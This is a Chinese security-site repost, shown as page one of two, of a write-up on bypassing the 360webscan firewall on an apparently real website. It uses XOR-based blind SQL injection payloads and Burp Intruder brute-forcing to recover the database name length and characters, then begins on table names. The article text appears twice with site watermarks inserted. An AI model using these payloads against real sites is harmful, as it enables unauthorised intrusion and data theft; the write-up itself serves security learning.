欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

记一次对WebScan的Bypass

来源: 作者: 时间:2019-02-24 21:00 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

今天测试了一个网站,发现存在360webscan的拦截,于是便开始了一波“bypass”。
进入主题
1. 判断注入点
使用“and 1=1”测试了一下,惨遭拦截。随后又测试了一下or也是被拦截的。

但是按位异或运算(^)未被拦截也可以使用xor。
“按位异或运算”测试:
在这里先介绍下“按位异或运算”,这种测试注入点的方法最开始是看一位大佬发过,原谅我已经找不到这位大佬的文章了。但是这位大佬并未解释使用这种方法的具体原理是什么,下面我给大家简单介绍一下按位异或运算使用的基本规则:
1^1=0
1^0=1
0^0=0
具体原理参考:https://blog.csdn.net/zpy1998zpy/Article/details/80667775
栗子:

在这里我们对我们的网站进行测试:
页面正常payload:xxxnid=216^(1=1)^1



3. 使用“按位异或运算”判断一下当前数据库名称的长度:
Payload:xxxnid=216^(1=(if(1=(length(database())=1 ),1,0)))^1
然后我们打开bp,将抓取到的数据包发送到intruder模块,然后把数据库长度值设置为变量。

payload type设置为numbers遍历1-15这15个数字。

最终我们得到数据库字段的长度为13。

4. 使用“按位异或运算”结合盲注来获取数据库名称:
这里我们使用的是regexp正则注入,简单介绍一下:
用法:select user() regexp ‘^[a-z]’;
这里是在匹配用户名的第一位:

继续匹配第二位的用法:select user() regexp ‘^r[a-z]’;
类似的盲注方法还有like匹配注入、left()函数、mid()函数、substr()函数等等。
构造Payload:xxxnid=216^(1=if(((database())regexp '^a ' ),1,0))^1
在这里我们将从数据库的第一个字段开始进行盲注。

这里我们使用字典来爆破字段名称,我们指定的字典内容包括常用的大小写字母、特殊符号、数字等。在这里的时候我遇到了个坑,我使用的字典里没加入数字,但是数据库名称里包含数字,导致我爆破到第三个参数的时候就没有结果了,最后发现字典里没把数字加进去,真的是贼菜。

爆破出数据库的第一个参数是“p”。

依次爆破,最终我们得到了数据库名称。

5. 接下来就是构造获取表名的payload了。
我们使用left()函数进行构造,先来看一个的栗子:
select left((select table_name frominformation_schema.tables where table_schema='test' limit 0,1),1)='u';

[1] [2]  下一页

今天测试了一个网站,发现存在360webscan的拦截,于是便开始了一波“bypass”。
进入主题
1. 判断注入点
使用“and 1=1”测试了一下,惨遭拦截。随后又测试了一下or也是被拦截的。

但是按位异或运算(^)未被拦截也可以使用xor。
“按位异或运算”测试:
在这里先介绍下“按位异或运算”,这种测试注入点的方法最开始是看一位大佬发过,原谅我已经找不到这位大佬的文章了。但是这位大佬并未解释使用这种方法的具体原理是什么,下面我给大家简单介绍一下按位异或运算使用的基本规则:
1^1=0
1^0=1
0^0=0
具体原理参考:https://blog.csdn.net/zpy1998zpy/Article/details/80667775
栗子:
本文来自无奈人生安全网
在这里我们对我们的网站进行测试:
页面正常payload:xxxnid=216^(1=1)^1



3. 使用“按位异或运算”判断一下当前数据库名称的长度:
Payload:xxxnid=216^(1=(if(1=(length(database())=1 ),1,0)))^1
然后我们打开bp,将抓取到的数据包发送到intruder模块,然后把数据库长度值设置为变量。 内容来自无奈安全网

payload type设置为numbers遍历1-15这15个数字。

最终我们得到数据库字段的长度为13。

4. 使用“按位异或运算”结合盲注来获取数据库名称:
这里我们使用的是regexp正则注入,简单介绍一下:
用法:select user() regexp ‘^[a-z]’; 本文来自无奈人生安全网
这里是在匹配用户名的第一位:

继续匹配第二位的用法:select user() regexp ‘^r[a-z]’;
类似的盲注方法还有like匹配注入、left()函数、mid()函数、substr()函数等等。
构造Payload:xxxnid=216^(1=if(((database())regexp '^a ' ),1,0))^1
在这里我们将从数据库的第一个字段开始进行盲注。

这里我们使用字典来爆破字段名称,我们指定的字典内容包括常用的大小写字母、特殊符号、数字等。在这里的时候我遇到了个坑,我使用的字典里没加入数字,但是数据库名称里包含数字,导致我爆破到第三个参数的时候就没有结果了,最后发现字典里没把数字加进去,真的是贼菜。

无奈人生安全网



爆破出数据库的第一个参数是“p”。

依次爆破,最终我们得到了数据库名称。

5. 接下来就是构造获取表名的payload了。
我们使用left()函数进行构造,先来看一个的栗子:
select left((select table_name frominformation_schema.tables where table_schema='test' limit 0,1),1)='u';

本文来自无奈人生安全网


无奈人生安全网

[1] [2]  下一页

内容来自无奈安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。